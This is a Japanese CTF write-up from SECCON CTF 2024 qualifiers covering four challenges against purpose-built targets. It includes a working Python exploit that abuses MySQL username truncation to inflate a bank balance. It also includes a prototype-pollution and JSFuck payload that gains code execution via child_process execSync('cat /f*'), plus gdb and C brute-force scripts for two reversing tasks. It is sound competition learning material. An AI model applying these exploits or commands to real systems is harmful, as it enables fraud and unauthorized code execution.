11/23 - 11/24という日程で開催された。keymoonさんとd=(>o<)=bというチームで出て全体39位、国内11位。国内決勝と国際決勝にはそれぞれ参加資格のあるチームのうち上位8チームが出られる。チームieraeが国内決勝でなく国際決勝へ進むことを加味しても、2チームが辞退しなければ国内決勝には進めないということで、まず予選敗退だ。大変悔しいd=(ToT)=b
[Web 149] Tanuki UdonでまさかそんなことがあるはずがないとXSS解を見逃した、方針転換できなかったのも悔しければ、[Web 193] self-ssrfで色々ガチャガチャ試していたものの、機械的なブルートフォースを試さなかったために flag[=]=
を見つけられなかったのも悔しい。
SECCON CTFに出るたびに悔しいと言っている気がする。ArkさんやSatoooonさんの問題と相性が悪いのかなあと言いたくなってしまうけれども、当然ながらこういう難しい変化球に対応できない自分が悪いわけで、精進だなあ。
競技時間中に解いた問題
[Web 108] Trillion Bank (84 solves)
Can you get over $1,000,000,000,000?
Challenge: (問題サーバのURL)
Note: The remote server restarts every 15 minutes. Please ensure your exploit works locally before attempting to attack the remote server.添付ファイル: Trillion_Bank.tar.gz
問題の概要
与えられたURLにアクセスすると、まず名前を聞かれる。適当な名前で登録すると、次のような画面が表示された。インターネットバンキングのようなWebアプリらしい。自分の預金額をチェックしたり、ほかのユーザに送金したりできる。適当に入力してみるものの、自分自身を対象としたり、預金額を超えたり負数だったりの送金はできない。
問題文に書いてあるけれども、一応コードからもこの問題の目的を確認する。まず compose.yaml
を見てみると、web
と db
という2つのサービスがあるとわかる。このうち、先ほど見ていたWebサーバであろう web
というサービスに、環境変数からフラグが与えられている。なお、MySQLサーバの認証情報は固定だけれども、ポートが外部に開放されていないので残念ながらアクセスできない。
services: web: build: ./web restart: unless-stopped init: true ports: - 3000:3000 environment: MYSQL_HOST: db MYSQL_DATABASE: chall MYSQL_USER: user MYSQL_PASSWORD: pass FLAG: SECCON{dummy} depends_on: - db db: image: mysql:8.0.40 restart: unless-stopped environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=chall - MYSQL_USER=user - MYSQL_PASSWORD=pass command: - --sql_mode=
web
は package.json
や Dockerfile
の記述からNode.js製のWebアプリだとわかる。フラグに関連する記述は次の通り。/api/me
というのは現在ログインしているアカウントの預金額を確認できるAPIだけれども、ここでチェックした際に、預金額が1兆ドルを超えていればフラグがもらえるらしい。
// … const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const TRILLION = 1_000_000_000_000; // … app.get("/api/me", { onRequest: auth }, async (req, res) => { try { const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]); req.user.balance = balance; } catch (err) { return res.status(500).send({ msg: err.message }); } if (req.user.balance >= TRILLION) { req.user.flag = FLAG; // 💰 } res.send(req.user); }); // …
まずアカウントを大量に作成して、ひとつのアカウントに送金し続けることを考えてしまう。しかし、残念ながら今回新規登録者に与えられるのはたった10ドルで、1兆ドルを集めるにはとんでもない回数のリクエストを送らなければならない。これは現実的ではない。
では、この手のインターネットバンキングを模した問題でよくあるRace Conditionはどうだろうか。つまり、並行して複数の送金リクエストを送ることで、預金額が十分にあるかのチェックと、送金元および送金先の預金額の更新という2種類の操作の間に別の送金処理を走らせることで、データの不整合を起こさせる(TOCTOU)ことはできないだろうか。
残念ながら、こちらも対策されている。以下のコードは他ユーザへの送金を行うAPIである /api/transfer
の一部だが、一連の送金処理をきちんとトランザクションとしていることがわかる。困るなあ。
const conn = await db.getConnection(); try { await conn.beginTransaction(); const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [ req.user.id, ]); if (amount > balance) { throw new Error("Invalid amount"); } await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]); await conn.commit(); } catch (err) { await conn.rollback(); return res.status(500).send({ msg: err.message }); } finally { db.releaseConnection(conn); }
ほか、自分自身への送金やマイナスの額の送金等のチェックはどうなっているか。クライアント側だけで完結していないか。これも残念ながら、次のようにしっかりと確認されている。
ちゃっかり送金先のユーザ名を示す recipientName
も文字列化して変なオブジェクトが入ってこないようにしているし、送金額が負数でないかだけでなく、NaN
や Infinity
等でないことを isFinite
で見ているし、登録時に発行されたJWTに入っているユーザID(連番の数字)と、送金先のユーザ名に対応するユーザIDとが同じでないか見ているし、なかなか堅固だ。
const auth = async (req, res) => { try { await req.jwtVerify(); } catch { return res.status(401).send({ msg: "Unauthorized" }); } }; // … app.post("/api/transfer", { onRequest: auth }, async (req, res) => { const recipientName = String(req.body.recipientName); // … const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]); if (id === req.user.id) { res.status(400).send({ msg: "Self-transfer is not allowed" }); return; } const amount = parseInt(req.body.amount); if (!isFinite(amount) || amount <= 0) { res.status(400).send({ msg: "Invalid amount" }); return; }
nameとid、それからMySQLのtruncation
さて、先ほどちらっと紹介したけれども、この問題ではユーザは id
と name
という2つのユニークな文字列を持つ。name
は登録時に自分で決めた文字列で、id
はMySQLがどんどんインクリメントしていく数値のIDだ。
CREATE TABLE users ( id INT AUTO_INCREMENT NOT NULL, name TEXT NOT NULL, balance BIGINT NOT NULL, PRIMARY KEY (id) )
name
にUNIQUE制約はないけれども、DB側でなくWeb側で、次のようにユーザが登録しようとしているユーザ名がすでに存在しているものでないかどうかを確認している。なるほどと思ってしまうけれども、ここでDB側にそのユーザ名が存在しているかどうか情報を取りに行っていないのが気になる。
DB側では(設定されている照合順序によって)同じ文字列として判断されるけれども、Web側では異なると判断されるというような挙動の不一致は存在しないだろうか。ただ、正規表現によるユーザ名のチェックのおかげで、(よくあるパターンとして)たとえば大文字やスペース、U+0131といった文字は使えない。
const names = new Set(); // … app.post("/api/register", async (req, res) => { const name = String(req.body.name); if (!/^[a-z0-9]+$/.test(name)) { res.status(400).send({ msg: "Invalid name" }); return; } if (names.has(name)) { res.status(400).send({ msg: "Already exists" }); return; } names.add(name); // …
では、文字種以外ではどうだろうか。試しに大変長いユーザ名で登録して、docker exec
でDBを見てみる。すると、明らかに65535文字以上の文字列であったところ、65535文字目までで切り取られている。65536文字目以降を別の文字列に変えた上でもう一度登録してみると、やはり65535文字目までで切り取られている。つまり、異なる id
で同じ name
のユーザができてしまった。
これはどのような問題を引き起こすだろうか。/api/transfer
の処理を再度見てみる。もし送金元と送金先が同じ name
だったらどうなるか。手順1と2では、id
と req.user.id
が参照されているので、本来の挙動の通り送金元の預金額が確認される。しかしながら、手順3では name
が参照されているので、ログインしている送金元や指定した送金先は関係なく、同じprefixを持つユーザすべての預金額が変更されるということになる。
// 手順1. 「送金元の」預金額の確認 const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [ req.user.id, ]); if (amount > balance) { throw new Error("Invalid amount"); } // 手順2. 「送金元の」預金額の変更 await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); // 手順3. 「送金先の」預金額の変更 await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]);
解く
競技中はここで考えるのが面倒くさくなってしまった。送金元や送金先で色々なパターンを組み合わせて試していると、冗長に思えるけれども、とりあえず倍々に預金額を増やしていけるパターンを見つけた。これは次のような手順となる。同じprefixを持たないユーザ3を作っているのがキモで、こいつがユーザ1もしくはユーザ2に送金すると、ユーザ1と2の両方に同じ金額が振り込まれる。
- 65535文字のprefixをランダムに生成する
(prefix)
(ユーザ1),(prefix)a
(ユーザ2),(適当なユーザ名)
(ユーザ3) という3つのユーザを作成する- 預金額: $10, $10, $10
- ユーザ2 → ユーザ3に10ドルを送金
- 預金額: $10, $0, $20
- ユーザ3 → ユーザ1に20ドルを送金
- 預金額: $30, $20, $0
- ユーザ2 → ユーザ1に20ドルを送金
- 預金額: $50, $20, $0
- 送金額を増やしつつ、手順3から5を繰り返す
import random import string import httpx HOST = 'http://(省略)' prefix = ''.join(random.choices(string.ascii_lowercase, k=65535)) with httpx.Client(base_url=HOST) as client1: with httpx.Client(base_url=HOST) as client2: with httpx.Client(base_url=HOST) as client3: u1 = prefix u2 = prefix + 'a' u3 = ''.join(random.choices(string.ascii_lowercase, k=32)) client1.post('/api/register', json={'name': u1}) client2.post('/api/register', json={'name': u2}) client3.post('/api/register', json={'name': u3}) amount = 10 r = client2.post('/api/transfer', json={ 'amount': str(amount), 'recipientName': u3 }) print(r.json()) amount *= 2 while amount < 1_000_000_000_000: r = client3.post('/api/transfer', json={ 'amount': str(amount), 'recipientName': u1 }) r = client2.post('/api/transfer', json={ 'amount': str(amount), 'recipientName': u1 }) amount *= 2 r = client1.post('/api/transfer', json={ 'amount': str(amount), 'recipientName': u3 }) print(client1.get('/api/me').json()) print(client2.get('/api/me').json()) print(client3.get('/api/me').json())
実行するとフラグが得られた。
$ python3 s_.py {'msg': 'Succeeded'} {'id': 419, 'iat': 1732358738, 'balance': 10} {'id': 427, 'iat': 1732358738, 'balance': 1374389534700, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'} {'id': 434, 'iat': 1732358738, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}
[Jail 149] pp4 (41 solves)
Let's enjoy the polluted programming💥
(問題サーバへの接続情報)
添付ファイル: pp4.tar.gz
問題の概要
問題の目的から確認していく。Dockerfile
は次の通り。最も重要なのは RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
で、ルートディレクトリに推測できない名前でフラグがファイルとして保存されていることがわかる。なんとかしてRCEに持ち込みたいところ。
FROM node:22.9.0-slim AS base WORKDIR /app COPY flag.txt . RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt COPY --chmod=555 index.js run FROM pwn.red/jail COPY --from=base / /srv ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10
メインの index.js
は次の通り。まずJSONを受け取ってパース・複製し、次にテキストを受け取って eval
している。非常に単純な処理で、特にユーザ入力を eval
してくれているのがありがたいのだけれども、困ったことに4種類しか文字が使えない。IERAE CTF 2024のときにも書いたが、6種類はないと好きなコードを実行するのは難しい。clone
は明らかにPrototype Pollutionできる仕組みになっているので、これと組み合わせてなんとかできないか。
#!/usr/local/bin/node const readline = require("node:readline/promises"); const rl = readline.createInterface({ input: process.stdin, output: process.stdout, }); const clone = (target, result = {}) => { for (const [key, value] of Object.entries(target)) { if (value && typeof value == "object") { if (!(key in result)) result[key] = {}; clone(value, result[key]); } else { result[key] = value; } } return result; }; (async () => { // Step 1: Prototype Pollution const json = (await rl.question("Input JSON: ")).trim(); console.log(clone(JSON.parse(json))); // Step 2: JSF**k with 4 characters const code = (await rl.question("Input code: ")).trim(); if (new Set(code).size > 4) { console.log("Too many :("); return; } console.log(eval(code)); })().finally(() => rl.close());
解く
ECMAScriptの仕様やV8のコードを見つつ、以前SECCON CTFで出題されたように、仕様段階から入り込んでいるようなPrototype Pollutionのgadgetは存在していないだろうかとまず考えた。特に Set.prototype.size
のチェックを突破したいわけで、Set
周りを見ていたところ、Get(set ,"add")
というそれっぽいものを見つけた。しかしながら、今回の clone
の構造を見るに Set
の prototype
はそもそも汚せないし、汚したところで関数を代入できるわけではないのでただ例外が発生するだけだ。
> Set.prototype.add = 0; (new Set('hoge')).size Uncaught TypeError: '0' returned for property 'add' of object '#<Set>' is not a function at new Set (<anonymous>)
しばらく考えて、Prototype Pollutionから文字種チェックを潰す問題ではないのだろうと考える。たとえば、constructor
やJSコードといった文字列をあらかじめ Object.prototype
に仕込んでおいて、その後の eval
から(4種類の文字しか使えないという制約を守りつつ)参照できないか。
こうして考えているうちに、次のように空文字列をプロパティとして、Object.prototype
に constructor
という文字列を仕込むことを考えた。[]
は文字列化すると空文字列になるから、[][[]]
では空文字列のプロパティへのアクセスが走る。当然ながら []
は空文字列のプロパティを持たないから、プロトタイプチェーンが走査され、最終的に Object.prototype['']
が参照される。これを利用して Function
も作れる。
Object.prototype['']='constructor'; [][[]]; // 'constructor' [][ [][[]] ][ [][[]] ]; // Function
空文字列以外に、[
と ]
だけで作れる文字列はないか。少し考えて、まず [].constructor
相当のコードで Array
を取り出し、[][Array]
相当のコードで(ここで Array
が文字列化された function Array() { [native code] }
というようなプロパティへのアクセスが走るが、当然存在しない*1ので) undefined
を作り出し、そして [][undefined]
相当のコードで undefined
プロパティへのアクセスをさせるということを思いついた。
[].constructor.constructor
で Function
を作り出し、そして [][undefined]
で本当に実行したいJSコードを取り出して Function
に投げる。これで好きなコードの実行に繋げられる。ここまでの成果をまとめて、ペイロードを生成するPythonスクリプトを作成する。
import json j = json.dumps({ '__proto__': { '': 'constructor', 'undefined': 'console.log(process.mainModule.require("child_process").execSync("cat /f*").toString())' } }) c = '[][[]]' u = '[][[][[][[]]]]' print(j) p = '[][constructor][constructor]([][undefined])()'.replace('constructor', c).replace('undefined', u) print(p)
これを問題サーバに投げると、フラグが得られた。
$ nc (省略) Input JSON: {"__proto__": {"": "constructor", "undefined": "console.log(process.mainModule.require(\"child_process\").execSync(\"cat /f*\").toString())"}} {} Input code: [][[][[]]][[][[]]]([][[][[][[][[]]]]])() SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game} undefined
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
[Reversing 93] packed (119 solves)
Packer is one of the most common technique malwares are using.
添付ファイル: packed.tar.gz
a.out
というamd64のELFが与えられている。静的リンクらしい。実行するとフラグを聞かれるし、適当な文字列を投げると違うと怒られる。
$ file a.out a.out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header $ ./a.out FLAG: d=(-o-)=b Wrong.
バイナリエディタで開いてみると UPX!
というバイト列が見える。UPXでパックされているらしい。
upx -d
でアンパックしてみるが、出てきたバイナリは明らかにどんな文字列を投げても Wrong.
と返ってくるようなものになっていた。どうやら upx -d
でアンパックするとちゃんと動作しなくなってしまうという、厄介なバイナリらしい。
仕方がないのでアンパックせずにそのまま触ってみる。gdb
で実行しつつ、フラグを聞かれたタイミングで止めてみる。すると、次のように read
のシステムコール後、文字数をチェックしている様子が確認できた。先ほどアンパックしたバイナリにはなかった処理だ。どうやらフラグは49文字(おそらく改行文字が含まれていて、フラグ本体は48文字だろう)らしい。
0x44ee19: xor edi,edi 0x44ee1b: xor eax,eax 0x44ee1d: syscall => 0x44ee1f: cmp eax,0x31 0x44ee22: jne 0x44eec3 0x44ee28: mov ecx,eax 0x44ee2a: pop rdx 0x44ee2b: pop rsi
とりあえず49文字の文字列を投げてみる。0x44ee72
という関数へ飛んだ。
0x44ee35: xor BYTE PTR [rdi],al 0x44ee37: inc rdi 0x44ee3a: loopne 0x44ee34 => 0x44ee3c: call 0x44ee72
この関数は、どうやら1文字ずつフラグをチェックしているらしい。cmp
の直後にブレークポイントを置きつつ1文字ずつブルートフォースし、ZFが立っているかどうかで正誤判定をする。これで1文字ずつフラグが得られないか。
gdb-peda$ pdisas 0x44ee72 Dump of assembler code from 0x44ee72 to 0x44ee92:: Dump of assembler code from 0x44ee72 to 0x44ee92: 0x000000000044ee72: mov ecx,0x31 0x000000000044ee77: pop rsi 0x000000000044ee78: lea rdi,[rsp-0x90] 0x000000000044ee80: xor edx,edx 0x000000000044ee82: lods al,BYTE PTR ds:[rsi] 0x000000000044ee83: cmp BYTE PTR [rdi],al 0x000000000044ee85: setne al 0x000000000044ee88: or dl,al 0x000000000044ee8a: inc rdi 0x000000000044ee8d: loopne 0x44ee82 0x000000000044ee8f: test edx,edx 0x000000000044ee91: jne 0x44eec3 End of assembler dump.
次のようなgdbスクリプトを用意する。
# gdb -n -q -x s.py ./a.out | grep flag import gdb import string import sys gdb.execute('set pagination off') gdb.execute('set disassembly-flavor intel') gdb.execute('b *0x44ee85', to_string=True) # after cmp flag = '' for _ in range(0x31): for c in string.printable.strip(): with open('input', 'w') as f: f.write((flag + c).ljust(0x31, 'a')) gdb.execute('r < input', to_string=True) for _ in range(len(flag)): gdb.execute('c', to_string=True) x = gdb.execute('p $eflags', to_string=True) if 'ZF' in x: flag += c print(f'{flag=}') break else: raise Exception('wtf')
実行するとフラグが得られた。へー。
$ gdb -n -q -x s.py ./a.out | grep flag flag='S' flag='SE' flag='SEC' ... flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d' flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3' flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}'
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
[Reversing 118] Jump (69 solves)
Who would have predicted that ARM would become so popular?
※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is
c69bc9382d04f8f3fbb92341143f2e3590a61a08
We're sorry for your patience and inconvenience添付ファイル: Jump.tar.gz
jump
という64ビットのARMのバイナリが与えられる。環境を用意するのが面倒なので、実行するのは最終手段としてまず静的解析でやっていく。
$ file jump jump: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
Ghidraに投げてデコンパイルする。ざっとバイナリの全体を眺めたところ、次のように(どこから呼び出されているかはよくわからないけれども)なんだかフラグを4文字ずつチェックしているっぽい関数がいくつも見つかる。SECC
, h4k3
, _1t_
, ON{5
, … 入れ替えると SECCON{5h4k3_1t_
だ。
void FUN_00400648(int param_1) { tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x336b3468) != 0; return; }
void FUN_004006ac(int param_1) { tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x5f74315f) != 0; return; }
void FUN_00400710(int param_1) { tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x357b4e4f) != 0; return; }
こういう単純な関数だけならよいのだけれども、次のように直前の4文字に依存しているような関数もある。幸いにも正解の4文字を当てるのにブルートフォースは必要のないチェック処理だから、前のブロックから4文字ずつ順番に特定していけばよい。
void FUN_00400774(long param_1) { tabun_ok_flag = (tabun_ok_flag & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x62629d6b) != 0 ; return; }
ただ、どの関数がどのブロックに対応しているかはよくわからない。わざわざ調べるのも面倒なので、次のようにブルートフォースしてしまおう。0x5f74315f
の部分はわかっている直前のブロックの値を入れる。正負も関数によって変えなければならないことに注意。これをすべての関数に対して繰り返す。
#include <stdio.h> int main(int argc, char **argv) { int x[] = { -0x62629d6b, -0x6b2c5e2c, 0x47cb363b, -0x626b6223 }; int res[2] = { 0 }; for (int i = 0; i < 4; i++) { res[0] = x[i] - 0x5f74315f; printf("%08x: ", res[0]); puts((char *) res); } return 0; }
up_5
, h-5h
, -5h5
, hk3}
という4つの文字列が出てくる。これらをつなぎ合わせるとフラグだ。
SECCON{5h4k3_1t_up_5h-5h-5h5hk3}
*1:つまり、ここで止めて、Arrayを文字列化したプロパティにJSコードを仕込んでおけばよかったのだけれども、面倒くさかった